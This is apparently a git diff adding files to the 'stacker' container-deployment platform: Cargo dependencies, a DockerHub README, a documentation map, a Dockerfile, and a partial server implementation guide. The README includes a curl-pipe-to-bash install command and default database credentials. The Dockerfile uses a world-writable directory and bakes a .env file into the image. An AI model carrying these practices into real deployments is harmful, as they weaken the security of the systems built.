+path="src/lib.rs" + +[[bin]] +path = "src/main.rs" +name = "server" + +[[bin]] +path = "src/console/main.rs" +name = "console" +required-features = ["explain"] + +[[bin]] +path = "src/bin/stacker.rs" +name = "stacker-cli" + +[[bin]] +path = "src/bin/agent_executor.rs" +name = "agent-executor" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +actix-web = "4.3.1" +actix = "0.13.5" +actix-web-actors = "4.3.1" +chrono = { version = "0.4.39", features = ["serde", "clock"] } +config = "0.13.4" +reqwest = { version = "0.11.23", features = ["json", "blocking", "stream"] } +serde = { version = "1.0.195", features = ["derive"] } +tokio = { version = "1.28.1", features = ["full"] } +tracing = { version = "0.1.40", features = ["log"] } +tracing-bunyan-formatter = "0.3.8" +tracing-log = "0.1.4" +tracing-subscriber = { version = "0.3.18", features = ["registry", "env-filter"] } +uuid = { version = "1.3.4", features = ["v4", "serde"] } +thiserror = "1.0" +anyhow = "1.0" +serde_valid = "0.18.0" +serde_json = { version = "1.0.111", features = [] } +async-trait = "0.1.77" +serde_derive = "1.0.195" +actix-cors = "0.7.0" +actix-files = "0.6.5" +tracing-actix-web = "0.7.7" +regex = "1.10.2" +rand = "0.8.5" +tempfile = "3" +flate2 = "1.0" +tar = "0.4" +ssh-key = { version = "0.6", features = ["ed25519", "rand_core"] } +russh = "0.58" +futures-util = "0.3.29" +futures = "0.3.29" +tokio-stream = "0.1.14" +actix-http = "3.4.0" +hmac = "0.12.1" +sha2 = "0.10.8" +sqlx-adapter = { version = "1.8.0", default-features = false, features = ["postgres", "runtime-tokio-native-tls"]} +dotenvy = "0.15" + +# dctypes +derive_builder = "0.12.0" +indexmap = { version = "2.0.0", features = ["serde"], optional = true } +serde_yaml = "0.9" +lapin = { version = "2.3.1", features = ["serde_json"] } +futures-lite = "2.2.0" +clap = { version = "4.4.8", features = ["derive", "env"] } +clap_complete = "4" +dialoguer = { version = "0.11", features = ["fuzzy-select"] } +indicatif = "0.17" +brotli = "3.4.0" +serde_path_to_error = "0.1.14" +zstd = "0.13" +deadpool-lapin = "0.12.1" +docker-compose-types = "0.7.0" +actix-casbin-auth = { git = "https://github.com/casbin-rs/actix-casbin-auth.git"} +casbin = "2.2.0" +aes-gcm = "0.10.3" +base64 = "0.22.1" +redis = { version = "0.27.5", features = ["tokio-comp", "connection-manager"] } +urlencoding = "2.1.3" +tera = "1.19.1" +prometheus = { version = "0.13", features = ["process"] } +lazy_static = "1.4" +tokio-tungstenite = { version = "0.21", features = ["native-tls"] } +tonic = { version = "0.11", features = ["tls"] } +prost = "0.12" +prost-types = "0.12" +pipe-adapter-mail = { path = "crates/pipe-adapter-mail" } +pipe-adapter-sdk = { path = "crates/pipe-adapter-sdk" } + +[dependencies.sqlx] +version = "0.8.2" +features = [ + "runtime-tokio-rustls", + "postgres", + "uuid", + "chrono", + "json", + "ipnetwork", + "macros" +] + +[features] +default = ["indexmap"] +indexmap = ["dep:indexmap"] +explain = ["actix-casbin-auth/explain", "actix-casbin-auth/logging"] + +[build-dependencies] +tonic-build = "0.11" + +[dev-dependencies] +glob = "0.3" +wiremock = "0.5.22" +assert_cmd = "2.0" +predicates = "3.0" +mockito = "1" +cucumber = "0.22" +futures-util = "0.3" + +[[test]] +name = "bdd" +harness = false diff --git a/stacker/stacker/DOCKERHUB.md b/stacker/stacker/DOCKERHUB.md new file mode 100644 index 0000000..a805fdb --- /dev/null +++ b/stacker/stacker/DOCKERHUB.md @@ -0,0 +1,309 @@ +# Stacker — Build, Deploy & Manage Containerised Apps + +[![Discord](https://img.shields.io/discord/578119430391988232?label=discord&logo=discord&color=5865F2)](https://discord.gg/mNhsa8VdYX) +[![Version](https://img.shields.io/badge/version-0.2.8-blue)](https://github.com/trydirect/stacker/releases) +[![License](https://img.shields.io/badge/license-MIT-green)](https://github.com/trydirect/stacker/blob/main/LICENSE) +[![GitHub](https://img.shields.io/badge/source-GitHub-181717?logo=github)](https://github.com/trydirect/stacker) + +**Stacker** is an open-source platform that turns any project into a deployable Docker stack using a single `stacker.yml` config file. It auto-generates Dockerfiles, docker-compose definitions, reverse-proxy configs, and deploys locally or to cloud providers — optionally with AI assistance. + +--- + +## Architecture + +``` +┌──────────────┐ ┌──────────────────┐ ┌─────────────────────┐ +│ Stacker CLI │────────▶│ Stacker Server │────────▶│ Status Panel Agent │ +│ │ REST │ │ queue │ (on target server) │ +│ stacker.yml │ API │ Stack Builder UI│ pull │ │ +│ init/deploy │ │ 85+ MCP tools │◀────────│ health / logs / │ +│ status/logs │ │ Vault · AMQP │ HMAC │ restart / exec / │ +└──────────────┘ └──────────────────┘ │ deploy_app / proxy │ + │ └─────────────────────┘ + ▼ + Terraform + Ansible ──▶ Cloud + (Hetzner, DO, AWS, Linode) +``` + +| Component | Description | +|-----------|-------------| +| **Stacker CLI** | Developer tool — init, deploy, monitor from the terminal | +| **Stacker Server** | REST API + Stack Builder UI + deployment orchestration + MCP Server (**this image**) | +| **Status Panel Agent** | Deployed on the target server — executes commands, streams logs, reports health | + +--- + +## Quick Start + +### Run the Stacker Server + +```bash +docker pull trydirect/stacker:latest + +docker run -d \ + --name stacker \ + -p 8000:8000 \ + -e DATABASE_URL=postgres://postgres:postgres@db:5432/stacker \ + -e RUST_LOG=info \ + trydirect/stacker:latest +``` + +### Using Docker Compose (recommended) + +```yaml +version: "3.8" + +services: + stacker: + image: trydirect/stacker:latest + container_name: stacker + restart: always + ports: + - "8000:8000" + volumes: + - ./files:/app/files + - ./configuration.yaml:/app/configuration.yaml + - ./access_control.conf:/app/access_control.conf + - ./migrations:/app/migrations + environment: + - RUST_LOG=info + depends_on: + db: + condition: service_healthy + + db: + image: postgres:16 + restart: always + environment: + POSTGRES_DB: stacker + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + volumes: + - stackerdb:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres"] + interval: 5s + timeout: 5s + retries: 5 + + redis: + image: redis:7 + restart: always + + rabbitmq: + image: rabbitmq:3-management + restart: always + +volumes: + stackerdb: +``` + +### Install the CLI + +```bash +curl -fsSL https://raw.githubusercontent.com/trydirect/stacker/main/install.sh | bash +``` + +```bash +cd my-project +stacker init # auto-detects project type, generates stacker.yml +stacker deploy # builds and runs locally via docker compose +stacker status # check running containers +``` + +--- + +## What's Inside This Image + +The `trydirect/stacker` image contains the **Stacker Server** — a Rust-built backend that provides: + +### REST API & Stack Builder UI +- Create, update, and manage deployment projects +- Full CRUD for apps, services, environment variables, port mappings, and domains +- Role-based access control (Casbin) + +### MCP Server (Model Context Protocol) +85+ tools exposed over WebSocket, enabling AI agents (Claude, GPT, etc.) to manage infrastructure programmatically: +- Project & deployment management +- Container operations (start, stop, restart, exec) +- Log analysis & error summaries +- Vault config and remote service secret management +- Proxy and firewall configuration +- Server resource monitoring +- Docker Compose generation & preview + +### Deployment Orchestration +- **Local** — `docker compose up` on the host machine +- **Cloud** — Terraform + Ansible for Hetzner, DigitalOcean, AWS, Linode +- **Server** — deploy to any existing server via SSH + +### Integrations +- **HashiCorp Vault** — secrets and config storage, synced to deployments +- **RabbitMQ (AMQP)** — event-driven deployment status updates +- **PostgreSQL** — persistent storage for projects, deployments, and config +- **Redis** — caching layer for DockerHub metadata and sessions +- **TryDirect User Service** — OAuth, marketplace templates + +--- + +## Stacker CLI Highlights + +The CLI (`stacker-cli`) is a standalone binary — no server required for local deploys: + +| Command | Description | +|---------|-------------| +| `stacker init` | Detect project type, generate `stacker.yml` + Dockerfile + Compose | +| `stacker deploy` | Build & deploy the stack (local, cloud, or server) | +| `stacker status` | Show running containers and health | +| `stacker logs` | View container logs (`--follow`, `--service`, `--tail`) | +| `stacker secrets` | Manage local `.env` secrets and remote Vault-backed service/server secrets | +| `stacker cloud firewall` | Manage provider firewall rules without SSH | +| `stacker destroy` | Tear down the deployed stack | +| `stacker ai ask` | Ask AI about your stack, or let it modify config | +| `stacker service add` | Add from 20+ built-in service templates | +| `stacker ssh-key generate` | Generate Vault-backed SSH keys | +| `stacker pipe scan` | Discover API endpoints on running containers | +| `stacker pipe create` | Create data pipes between containers (interactive) | +| `stacker pipe list` | List active and paused pipe instances | +| `stacker pipe activate` | Activate a pipe (start trigger-based data flow) | +| `stacker pipe deactivate` | Pause an active pipe | +| `stacker pipe trigger` | One-shot pipe execution with optional input | + +### AI-Powered Init + +```bash +stacker init --with-ai # Local AI (Ollama, free & private) +stacker init --with-ai --ai-provider openai # OpenAI +stacker init --with-ai --ai-provider anthropic # Anthropic +``` + +Scans your project files, detects the stack type, and uses an LLM to generate a tailored `stacker.yml` with services, proxy, monitoring, and hooks. + +### Service Catalog (20+ templates) + +```bash +stacker service list +stacker service add postgres redis nginx +``` + +Built-in templates: `postgres`, `mysql`, `mongodb`, `redis`, `memcached`, `rabbitmq`, `traefik`, `nginx`, `nginx_proxy_manager`, `wordpress`, `elasticsearch`, `kibana`, `qdrant`, `telegraf`, `phpmyadmin`, `mailhog`, `minio`, `portainer`, and more. + +--- + +## `stacker.yml` Example + +```yaml +name: my-app +app: + type: node + path: ./src + ports: + - "8080:3000" + environment: + NODE_ENV: production + +services: + - name: postgres + image: postgres:16 + environment: + POSTGRES_DB: myapp + POSTGRES_PASSWORD: ${DB_PASSWORD} + +proxy: + type: nginx + auto_detect: true + domains: + - domain: app.example.com + ssl: auto + upstream: app:3000 + +deploy: + target: local + +ai: + enabled: true + provider: ollama + model: llama3 + +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s +``` + +--- + +## Supported Project Types + +Stacker auto-detects and generates optimised multi-stage Dockerfiles for: + +| Type | Detection | +|------|-----------| +| **Node.js** | `package.json` | +| **Python** | `requirements.txt`, `pyproject.toml`, `Pipfile` | +| **Rust** | `Cargo.toml` | +| **Go** | `go.mod` | +| **PHP** | `composer.json` | +| **Static** | `index.html`, or manual `type: static` | + +--- + +## Environment Variables + +| Variable | Description | Default | +|----------|-------------|---------| +| `DATABASE_URL` | PostgreSQL connection string | — | +| `RUST_LOG` | Log level (`error`, `warn`, `info`, `debug`, `trace`) | `info` | +| `APP_HOST` | Listen address | `0.0.0.0` | +| `APP_PORT` | Listen port | `8000` | +| `VAULT_ADDRESS` | HashiCorp Vault URL | `http://127.0.0.1:8200` | +| `VAULT_TOKEN` | Vault authentication token | — | +| `AMQP_HOST` | RabbitMQ host | `127.0.0.1` | +| `AMQP_PORT` | RabbitMQ port | `5672` | + +--- + +## Exposed Ports + +| Port | Service | +|------|---------| +| `8000` | Stacker Server API | + +--- + +## Volumes + +| Path | Purpose | +|------|---------| +| `/app/files` | Generated stack files (Dockerfiles, Compose, configs) | +| `/app/configuration.yaml` | Server configuration | +| `/app/access_control.conf` | Casbin RBAC policy | +| `/app/migrations` | SQL migration files | + +--- + +## Tags + +| Tag | Description | +|-----|-------------| +| `latest` | Latest stable release | +| `x.y.z` | Specific version (e.g. `0.2.8`) | +| `test` | Development/testing builds | + +--- + +## Links + +- **Source Code**: [github.com/trydirect/stacker](https://github.com/trydirect/stacker) +- **Documentation**: [stacker.yml Reference](https://github.com/trydirect/stacker/blob/main/docs/STACKER_YML_REFERENCE.md) +- **Changelog**: [CHANGELOG.md](https://github.com/trydirect/stacker/blob/main/CHANGELOG.md) +- **Discord**: [Join the community](https://discord.gg/mNhsa8VdYX) +- **Website**: [try.direct](https://try.direct) +- **Issues**: [GitHub Issues](https://github.com/trydirect/stacker/issues) + +--- + +## License + +MIT — see [LICENSE](https://github.com/trydirect/stacker/blob/main/LICENSE) for details. diff --git a/stacker/stacker/DOCUMENTATION_MAP.txt b/stacker/stacker/DOCUMENTATION_MAP.txt new file mode 100644 index 0000000..008efa8 --- /dev/null +++ b/stacker/stacker/DOCUMENTATION_MAP.txt @@ -0,0 +1,204 @@ +╔═════════════════════════════════════════════════════════════════════════════╗ +║ STACKER SERVER ANALYSIS - DOCUMENTATION MAP ║ +╚═════════════════════════════════════════════════════════════════════════════╝ + +📚 FIVE COMPREHENSIVE DOCUMENTATION FILES (2,643 lines): + +┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ +┃ 🚀 START_HERE.md (292 lines) ┃ +┃ ⭐ YOUR ENTRY POINT - Read This First! ┃ +┃━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┃ +┃ ┃ +┃ What's Inside: ┃ +┃ • Quick navigation to all documentation ┃ +┃ • 30-minute implementation path ┃ +┃ • Implementation checklists (copy-paste ready) ┃ +┃ • FAQ and troubleshooting quick reference ┃ +┃ • File relationships diagram ┃ +┃ • Recommended reading order ┃ +┃ • Testing examples (curl commands) ┃ +┃ ┃ +┃ Time to Read: 5 minutes ┃ +┃ Best For: Getting started immediately ┃ +┃ ┃ +┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛ + +┌─────────────────────────────────────────────────────────────────────────────┐ +│ Read START_HERE.md → Pick Your Path Based on Your Need │ +└─────────────────────────────────────────────────────────────────────────────┘ + ↓ + ┌───────────────┼───────────────┐ + ↓ ↓ ↓ + ┌───────────────────┐ ┌─────────────────┐ ┌──────────────────┐ + │ UNDERSTAND │ │ COPY CODE │ │ LEARN PATTERNS │ + │ PATTERNS │ │ DIRECTLY │ │ DEEPLY │ + └───────────────────┘ └─────────────────┘ └──────────────────┘ + ↓ ↓ ↓ + +┏━━━━━━━━━━━━━━━━━━━━━━━┓ ┏━━━━━━━━━━━━━━━━━━┓ ┏━━━━━━━━━━━━━━━━━━┓ +┃ QUICK_REFERENCE.md ┃ ┃ CODE_SNIPPETS.md ┃ ┃ IMPLEMENTATION_ ┃ +┃ (283 lines) ┃ ┃ (605 lines) ┃ ┃ GUIDE.md ┃ +┃ ┃ ┃ ┃ ┃ (1,131 lines) ┃ +┃ High-level Summary ┃ ┃ Copy-Paste Ready ┃ ┃ Deep Reference ┃ +┃ & Quick Lookup ┃ ┃ Code ┃ ┃ & Explanation ┃ +┃ ┃ ┃ ┃ ┃ ┃ +┃ 10 minutes to read ┃ ┃ 15 minutes to ┃ ┃ 45 minutes to ┃ +┃ ┃ ┃ find what you ┃ ┃ read (or as ┃ +┃ ┃ ┃ need ┃ ┃ needed) ┃ +┗━━━━━━━━━━━━━━━━━━━━━━━┛ ┗━━━━━━━━━━━━━━━━━━┛ ┗━━━━━━━━━━━━━━━━━━┛ + ↓ ↓ ↓ + +┌─────────────────────┬─────────────────────┬─────────────────────┐ +│ Contains: │ Contains: │ Contains: │ +│ • 8 key patterns │ • login.rs (full) │ • Route structure │ +│ • Summary of each │ • link.rs (full) │ • Agent registration│ +│ • Impl. checklist │ • All file updates │ • Auth methods (6) │ +│ • Error format │ • Database SQL │ • DB queries │ +│ • Testing examples │ • VaultClient ext. │ • Response builder │ +│ • DB models │ • Session storage │ • Error handling │ +│ • Checklist items │ • Recommended alt. │ • Vault patterns │ +│ • Tech stack │ │ • Complete examples │ +└─────────────────────┴─────────────────────┴─────────────────────┘ + ↓ ↓ ↓ + Use for: Use for: Use for: + "Which pattern "Copy this code "Why does this + should I use?" now" pattern exist?" + + Plus: ANALYSIS_README.md (332 lines) + └─ Project overview, findings, architecture + +═══════════════════════════════════════════════════════════════════════════════ + +🎯 RECOMMENDED USAGE PATHS: + +Path 1: "I want to implement NOW" (30 minutes) + 1. Skim START_HERE.md (3 min) + 2. Read QUICK_REFERENCE.md (10 min) + 3. Copy CODE_SNIPPETS.md (10 min) + 4. Run migrations & test (7 min) + ✅ Done! + +Path 2: "I want to understand first" (45 minutes) + 1. Read START_HERE.md (5 min) + 2. Read QUICK_REFERENCE.md (10 min) + 3. Read IMPLEMENTATION_GUIDE.md sections 1-3 (20 min) + 4. Reference CODE_SNIPPETS.md as you code (10 min) + ✅ Done! + +Path 3: "I'm just evaluating" (20 minutes) + 1. Read START_HERE.md (5 min) + 2. Read ANALYSIS_README.md (10 min) + 3. Skim QUICK_REFERENCE.md (5 min) + ✅ Done! + +Path 4: "I need deep understanding" (2-3 hours) + 1. Read START_HERE.md (5 min) + 2. Read IMPLEMENTATION_GUIDE.md completely (90 min) + 3. Read QUICK_REFERENCE.md (10 min) + 4. Reference CODE_SNIPPETS.md while coding (30+ min) + ✅ Expert level! + +═══════════════════════════════════════════════════════════════════════════════ + +📋 CROSS-REFERENCE INDEX: + +Looking for Pattern? → Find in: +────────────────────────────────────────────── +Route structure IMPLEMENTATION_GUIDE.md §1, QUICK_REFERENCE.md §1 +Authentication flow IMPLEMENTATION_GUIDE.md §3, QUICK_REFERENCE.md §2 +User extraction QUICK_REFERENCE.md §2, CODE_SNIPPETS.md +Database patterns IMPLEMENTATION_GUIDE.md §4, QUICK_REFERENCE.md §3 +Response handling IMPLEMENTATION_GUIDE.md §5, QUICK_REFERENCE.md §4 +Error handling QUICK_REFERENCE.md §4, IMPLEMENTATION_GUIDE.md §5 +Token generation QUICK_REFERENCE.md §5, CODE_SNIPPETS.md +Vault client usage IMPLEMENTATION_GUIDE.md §8, CODE_SNIPPETS.md +Audit logging QUICK_REFERENCE.md §6, IMPLEMENTATION_GUIDE.md +Middleware stack QUICK_REFERENCE.md §7, IMPLEMENTATION_GUIDE.md §3 +Agent registration IMPLEMENTATION_GUIDE.md §2 +Complete login handler CODE_SNIPPETS.md §1 +Complete link handler CODE_SNIPPETS.md §3 +Database migrations CODE_SNIPPETS.md §9 +Testing commands START_HERE.md, QUICK_REFERENCE.md +Implementation checklist START_HERE.md, QUICK_REFERENCE.md +File changes summary START_HERE.md, CODE_SNIPPETS.md +Dependency info ANALYSIS_README.md + +═══════════════════════════════════════════════════════════════════════════════ + +📊 DOCUMENTATION STATISTICS: + +File Lines Best For Time +──────────────────────────────────────────────────────────────────────── +START_HERE.md 292 Getting started 5 min +QUICK_REFERENCE.md 283 Quick lookup 10 min +CODE_SNIPPETS.md 605 Copy-paste implementation 15 min +IMPLEMENTATION_GUIDE.md 1131 Deep understanding 45 min +ANALYSIS_README.md 332 Project overview 15 min +──────────────────────────────────────────────────────────────────────── +TOTAL 2643 Complete implementation 30 min + (or up to 2-3 hrs if deep dive) + +═══════════════════════════════════════════════════════════════════════════════ + +🔄 DOCUMENTATION FLOW: + + START_HERE.md + ↓ + "What documentation + should I read?" + ↓ + ┌───────────────────┼───────────────────┐ + ↓ ↓ ↓ + Understanding Implementation Learning + Patterns Ready Deeply + ↓ ↓ ↓ + QUICK_REFERENCE CODE_SNIPPETS IMPLEMENTATION_GUIDE + 5-10 min read Copy what you 45+ min read + need now + ↓ + (Use side-by-side + while coding) + ↓ + ANALYSIS_README.md + (Reference for + context) + +═══════════════════════════════════════════════════════════════════════════════ + +✨ WHAT YOU HAVE: + +✓ 2,643 lines of comprehensive documentation +✓ 5 strategically organized files +✓ Copy-paste ready code snippets +✓ Production patterns from real codebase +✓ Implementation checklists +✓ Testing examples +✓ Error handling patterns +✓ Database schema +✓ File change summary +✓ Troubleshooting guide +✓ FAQ section +✓ Multiple reading paths (30 min to 3 hours) + +═══════════════════════════════════════════════════════════════════════════════ + +🚀 GETTING STARTED: + +Step 1: Open START_HERE.md (in this directory) +Step 2: Choose your implementation path +Step 3: Follow the recommended reading order +Step 4: Reference other docs as needed +Step 5: Copy code and implement +Step 6: Test with curl +Step 7: Done! 🎉 + +═══════════════════════════════════════════════════════════════════════════════ + +Generated from analysis of: + • /Users/vasilipascal/work/try.direct/stacker/src/ + • All route handlers, middleware, DB layer, models, utilities + • Existing patterns from agent registration, deployment status, commands + +Location: /Users/vasilipascal/work/try.direct/stacker/ + +Good luck! 🚀 diff --git a/stacker/stacker/Dockerfile b/stacker/stacker/Dockerfile new file mode 100644 index 0000000..51f49db --- /dev/null +++ b/stacker/stacker/Dockerfile @@ -0,0 +1,64 @@ +# syntax=docker/dockerfile:1.4 +FROM rust:bookworm AS builder + +RUN apt-get update && apt-get install --no-install-recommends -y protobuf-compiler libprotobuf-dev && rm -rf /var/lib/apt/lists/* + +RUN cargo install sqlx-cli + +WORKDIR /app +COPY --from=shared_fixtures / /shared-fixtures +# copy manifests +COPY ./Cargo.toml . +COPY ./Cargo.lock . +COPY ./build.rs . +COPY ./rustfmt.toml . +COPY ./Makefile . +COPY ./docker/local/.env . +COPY ./docker/local/configuration.yaml . +COPY .sqlx .sqlx/ +COPY ./proto ./proto +COPY ./tests/bdd.rs ./tests/bdd.rs + +# build this project to cache dependencies +#RUN sqlx database create && sqlx migrate run + +# build skeleton and remove src after +#RUN cargo build --release; \ +# rm src/*.rs + + +COPY ./src ./src +COPY ./crates ./crates + +# for ls output use BUILDKIT_PROGRESS=plain docker build . +#RUN ls -la /app/ >&2 +#RUN sqlx migrate run +#RUN cargo sqlx prepare -- --bin stacker +ENV SQLX_OFFLINE=true + +RUN apt-get update && apt-get install --no-install-recommends -y libssl-dev; \ + cargo build --release --bin server; \ + cargo build --release --bin console --features explain + +#RUN ls -la /app/target/release/ >&2 + +# deploy production +FROM debian:bookworm-slim AS production + +RUN apt-get update && apt-get install --no-install-recommends -y libssl-dev ca-certificates; +# create app directory +WORKDIR /app +RUN mkdir ./files && chmod 0777 ./files + +# copy binary and configuration files +COPY --from=builder /app/target/release/server . +COPY --from=builder /app/target/release/console . +COPY --from=builder /app/.env . +COPY --from=builder /app/configuration.yaml . +COPY --from=builder /usr/local/cargo/bin/sqlx /usr/local/bin/sqlx +COPY ./access_control.conf.dist ./access_control.conf + +EXPOSE 8000 + +# run the binary +ENTRYPOINT ["/app/server"] diff --git a/stacker/stacker/IMPLEMENTATION_GUIDE.md b/stacker/stacker/IMPLEMENTATION_GUIDE.md new file mode 100644 index 0000000..ef66973 --- /dev/null +++ b/stacker/stacker/IMPLEMENTATION_GUIDE.md @@ -0,0 +1,1131 @@ +# Stacker Server Patterns & Architecture Guide + +## 1. ROUTE STRUCTURE & REGISTRATION + +### Route Organization (src/routes/mod.rs) +Routes are organized by domain and registered as scoped web services in `src/startup.rs`: + +``` +Routes structure: +├── /health_check → routes::health_check, routes::health_metrics +├── /client → client handlers +├── /test → test deployment +├── /rating → rating handlers (anonymous & user & admin) +├── /project → project CRUD, app config, container discovery +├── /dockerhub → search/list repositories & tags +├── /admin → admin-only endpoints +├── /api +│ ├── /v1/agent → register, enqueue, wait, report, snapshot +│ ├── /v1/deployments → capabilities, list, status +│ ├── /v1/commands → create, list, get, cancel +│ └── /admin → templates, marketplace management +├── /cloud → cloud provider CRUD +├── /server → server CRUD & SSH key management +├── /agreement → agreement handlers +├── /chat → chat history +└── /mcp → WebSocket for MCP tool calls +``` + +### Route Registration Pattern (src/startup.rs) +```rust +.service( + web::scope("/api/v1/agent") + .service(routes::agent::register_handler) + .service(routes::agent::enqueue_handler) + .service(routes::agent::wait_handler) + .service(routes::agent::report_handler) + .service(routes::agent::snapshot_handler), +) +``` + +**Key Points:** +- Routes use `#[post]`, `#[get]`, etc. macros from actix-web +- Each route is declared with `#[tracing::instrument]` for observability +- Routes are wrapped with middleware (auth, CORS, compression) +- Middleware stack is applied in order: CORS → Tracing → Authorization → Authentication → Compress + +--- + +## 2. AGENT REGISTRATION PATTERN (src/routes/agent/register.rs) + +### Request Structure +```rust +#[derive(Debug, Deserialize)] +pub struct RegisterAgentRequest { + pub deployment_hash: String, // Unique identifier for deployment + pub public_key: Option, // For secure communication + pub capabilities: Vec, // What agent can do (docker, logs, etc.) + pub system_info: serde_json::Value, // System details + pub agent_version: String, // Agent version +} +``` + +### Response Structure +```rust +#[derive(Debug, Serialize, Default)] +pub struct RegisterAgentResponse { + pub agent_id: String, + pub agent_token: String, // 86-char random token + pub dashboard_version: String, + pub supported_api_versions: Vec, +} + +// Wrapped in data container +#[derive(Debug, Serialize)] +pub struct RegisterAgentResponseWrapper { + pub data: RegisterAgentResponseData, +} + +#[derive(Debug, Serialize)] +pub struct RegisterAgentResponseData { + pub item: RegisterAgentResponse, +} +``` + +### Registration Flow +1. **Idempotency Check**: Fetch existing agent by `deployment_hash` +2. **If Agent Exists**: + - Update metadata (capabilities, version, system_info) + - Fetch existing token from Vault + - Return existing agent + token (idempotent) +3. **If New Agent**: + - Generate 86-char random token + - Save agent to DB (agents table) + - **Async Vault Storage** (best-effort with 3 retries on exponential backoff) + - Log audit event + - Return new agent + token + +### Key Implementation Details +```rust +// Token generation (86-char alphanumeric + dash/underscore) +fn generate_agent_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86).map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }).collect() +} + +// Async token storage with retry +actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_agent_token(&hash, &token).await.is_ok() { + tracing::info!("Token stored in Vault for {}", hash); + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } +}); +``` + +### Audit Logging +```rust +let audit_log = models::AuditLog::new( + Some(saved_agent.id), + Some(payload.deployment_hash.clone()), + "agent.registered".to_string(), + Some("success".to_string()), +) +.with_details(serde_json::json!({ + "version": payload.agent_version, + "capabilities": payload.capabilities, +})) +.with_ip(req.peer_addr().map(|addr| addr.ip().to_string()).unwrap_or_default()); + +db::agent::log_audit(agent_pool.as_ref(), audit_log).await; +``` + +--- + +## 3. AUTHENTICATION & MIDDLEWARE + +### Middleware Stack (src/startup.rs) +```rust +App::new() + .wrap(Cors::default()...) // 1. CORS + .wrap(TracingLogger::default()) // 2. Request tracing + .wrap(authorization.clone()) // 3. Authorization (Casbin) + .wrap(authentication::Manager::new()) // 4. Authentication (token/JWT/OAuth/HMAC/Cookie/Agent) + .wrap(Compress::default()) // 5. Response compression +``` + +### Authentication Methods (src/middleware/authentication/method/) + +The middleware tries auth methods in order: +1. **Agent Auth** (f_agent.rs) - Agent token from header +2. **JWT** (f_jwt.rs) - Bearer token from Authorization header +3. **OAuth** (f_oauth.rs) - OAuth callback tokens +4. **Cookie** (f_cookie.rs) - Session cookies +5. **HMAC** (f_hmac.rs) - HMAC signature verification +6. **Anonymous** (f_anonym.rs) - Public access + +### JWT Authentication Pattern +```rust +pub async fn try_jwt(req: &mut ServiceRequest) -> Result { + let authorization = get_header::(req, "authorization")?; + if authorization.is_none() { + return Ok(false); + } + + let token = extract_bearer_token(&authorization.unwrap())?; + let claims = parse_jwt_claims(token)?; + + // Validate expiration + validate_jwt_expiration(&claims)?; + + // Create User from JWT claims + let user = user_from_jwt_claims(&claims); + + // Insert into request extensions for handler access + if req.extensions_mut().insert(Arc::new(user)).is_some() { + return Err("user already logged".to_string()); + } + + Ok(true) +} +``` + +### User Extraction in Handlers +```rust +#[get("/{id}")] +pub async fn status_handler( + path: web::Path, + user: web::ReqData>, // Auto-extracted from extensions + pg_pool: web::Data, +) -> Result { + let deployment_id = path.into_inner(); + let user_id = &user.id; // Use authenticated user + + // Verify ownership + if d.user_id.as_deref() != Some(&user_id) { + return Err(JsonResponse::::build() + .not_found("Deployment not found")); + } + + Ok(JsonResponse::build() + .set_item(resp) + .ok("Success")) +} +``` + +### User Model +```rust +#[derive(Debug, Deserialize, Clone)] +pub struct User { + pub id: String, + pub first_name: String, + pub last_name: String, + pub email: String, + pub role: String, + pub email_confirmed: bool, + #[serde(skip)] + pub access_token: Option, // For proxying to other services +} + +impl User { + pub fn with_token(mut self, token: String) -> Self { + self.access_token = Some(token); + self + } +} +``` + +### Authorization (Casbin - src/middleware/authorization.rs) +- **Model**: Loaded from `access_control.conf` +- **Policies**: Stored in database (casbin_rules table) +- **Pattern Matching**: Supports `key_match2` for role-based patterns +- **Reload Strategy**: Reloads on policy change (configurable interval, default 10s) + +```rust +pub async fn try_new(db_connection_address: String) -> Result { + let m = DefaultModel::from_file("access_control.conf").await?; + let a = SqlxAdapter::new(db_connection_address.clone(), 8).await?; + + let casbin_service = CasbinService::new(m, a).await?; + casbin_service.write().await + .get_role_manager() + .write() + .matching_fn(Some(key_match2), None); + + Ok(casbin_service) +} +``` + +--- + +## 4. DATABASE LAYER (src/db/) + +### Connection Pools +```rust +// In startup.rs +pub async fn run( + listener: TcpListener, + api_pool: Pool, // Main API database + agent_pool: AgentPgPool, // Agent database (separate) + settings: Settings, +) -> Result { + let api_pool = web::Data::new(api_pool); + let agent_pool = web::Data::new(agent_pool); + + // Inject into routes + .app_data(api_pool.clone()) + .app_data(agent_pool.clone()) +} +``` + +### Query Pattern with Error Handling +```rust +pub async fn fetch_by_deployment_hash( + pool: &PgPool, + deployment_hash: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetching agent by deployment_hash"); + sqlx::query_as::<_, models::Agent>( + r#" + SELECT id, deployment_hash, capabilities, version, system_info, + last_heartbeat, status, created_at, updated_at + FROM agents + WHERE deployment_hash = $1 + "#, + ) + .bind(deployment_hash) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch agent by deployment_hash: {:?}", err); + "Database error".to_string() + }) +} +``` + +### Key Query Functions + +**Deployment Queries:** +```rust +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> +pub async fn fetch_by_deployment_hash(pool: &PgPool, hash: &str) -> Result, String> +pub async fn fetch_by_project_id(pool: &PgPool, project_id: i32) -> Result, String> +pub async fn fetch_by_user(pool: &PgPool, user_id: &str, limit: i64) -> Result, String> +pub async fn insert(pool: &PgPool, deployment: models::Deployment) -> Result +pub async fn update(pool: &PgPool, deployment: models::Deployment) -> Result +``` + +**Agent Queries:** +```rust 